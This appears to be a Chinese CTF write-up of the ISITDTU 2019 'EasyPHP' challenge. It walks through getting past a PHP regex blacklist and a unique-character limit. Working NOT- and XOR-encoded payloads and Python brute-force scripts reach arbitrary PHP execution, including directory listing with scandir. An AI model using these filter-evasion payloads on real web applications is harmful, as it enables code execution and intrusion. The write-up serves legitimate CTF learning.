[ISITDTU 2019]![1](../images/[ISITDTU 2019]EasyPHP/1.png)EasyPHP

思路很简单,绕过这两个if即可任意代码执行

先看一下第一个正则匹配
看不懂的推荐使用这个网站:https://regex101.com/

1
2
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )
die('rosé will not do it');

![2](../images/[ISITDTU 2019]EasyPHP/2.png)

1
2
3
\x00- 0-9                       匹配\x00到空格(\x20),0-9的数字
'"`$&.,|[{_defgops 匹配这些字符
\x7F 匹配DEL(\x7F)字符

匹配到以上字符就die掉

1
2
if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )
die('you are so close, omg');

当mode=3: 会返回包含所有用过的不同字符的字符串

![3](../images/[ISITDTU 2019]EasyPHP/3.png)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$array=get_defined_functions();//返回所有内置定义函数
foreach($array['internal'] as $arr){
if ( preg_match('/[\x00- 0-9\'"\`$&.,|[{_defgops\x7F]+/i', $arr) ) continue;
if ( strlen(count_chars(strtolower($arr), 0x3)) > 0xd ) continue;
print($arr.'<br/>');
}

//运行结果
bcmul
rtrim
trim
ltrim
chr
link
unlink
tan
atan
atanh
tanh
intval
mail
min
max
virtual

没有我们需要的函数
在观看正则规则的时候发现没有过滤~^字符,想到可以取反编码绕过和异或绕过
具体参考我的这篇文章:关于PHP正则的一些绕过方法
首先来个phpinfo()看一下

1
2
PS C:\Users\Administrator> php -r "echo urlencode(~'phpinfo');" 
%8F%97%8F%96%91%99%90

![4](../images/[ISITDTU 2019]EasyPHP/4.png)

python代码:

1
2
3
4
5
6
7
final_string="phpinfo"
allowed="!#%()*+-/:;<=>?@ABCHIJKLMNQRTUVWXYZ\]^abchijklmnqrtuvwxyz}~"
for a in final_string:
for i in allowed:
for p in allowed:
if ord(i)^ord(p)==ord(a):
print("i=%s p=%s a=%s"%(i,p,a))

暴力搜索符合条件的字符串,例如:phpinfo=%8f%97%8f%96%91%99%90^%ff%ff%ff%ff%ff%ff%ff。

查看disable_functions

1
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,escapeshellarg,escapeshellcmd,passthru,proc_close,proc_get_status,proc_open,shell_exec,mail,imap_open,

从phpinfo返回中可以看到所有命令执行的函数都被disable了。同时也限制了open_basedir在/var/www/html。下一步是找flag文件。我们可以用scandir() 或者 glob()函数列目录,但它返回一个数组,我们还需要一个print_r或var_dump

即目标为

1
print_r(scandir('.'));==((%8f%8d%96%91%8b%a0%8d)^(%ff%ff%ff%ff%ff%ff%ff))(((%8c%9c%9e%91%9b%96%8d)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff));

发现可以运行,但是count_chars那里过不去,我们一共用了16个不同字符,下一步是缩减字符数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
result2 = [0x8b, 0x9b, 0xa0, 0x9c, 0x8f, 0x91, 0x9e, 0xd1, 0x96, 0x8d, 0x8c]  # Original chars,11 total
result = [0x9b, 0xa0, 0x9c, 0x8f, 0x9e, 0xd1, 0x96, 0x8c] # to be deleted
temp = []
for d in result2:
for a in result:
for b in result:
for c in result:
if (a ^ b ^ c == d):
if a == b == c == d:
continue
else:
print("a=0x%x,b=0x%x,c=0x%x,d=0x%x" % (a, b, c, d))
if d not in temp:
temp.append(d)
print(len(temp), temp)

除了必要的()^;以外,我们最多剩余9个字符的空间,逐步删除result里的值,当结果仍能保持11个,就意味着我们可以继续删除了。

1
print_r(scandir(.));=((%9b%9c%9b%9b%9b%9b%9c)^(%9b%8f%9b%9c%9c%9b%8f)^(%8f%9e%96%96%8c%a0%9e)^(%ff%ff%ff%ff%ff%ff%ff))(((%9b%9b%9b%9b%9b%9b%9c)^(%9b%9b%9b%9c%a0%9b%8f)^(%8c%9c%9e%96%a0%96%9e)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff));

![5](../images/[ISITDTU 2019]EasyPHP/5.png)

参考链接:https://blog.csdn.net/mochu7777777/article/details/105786114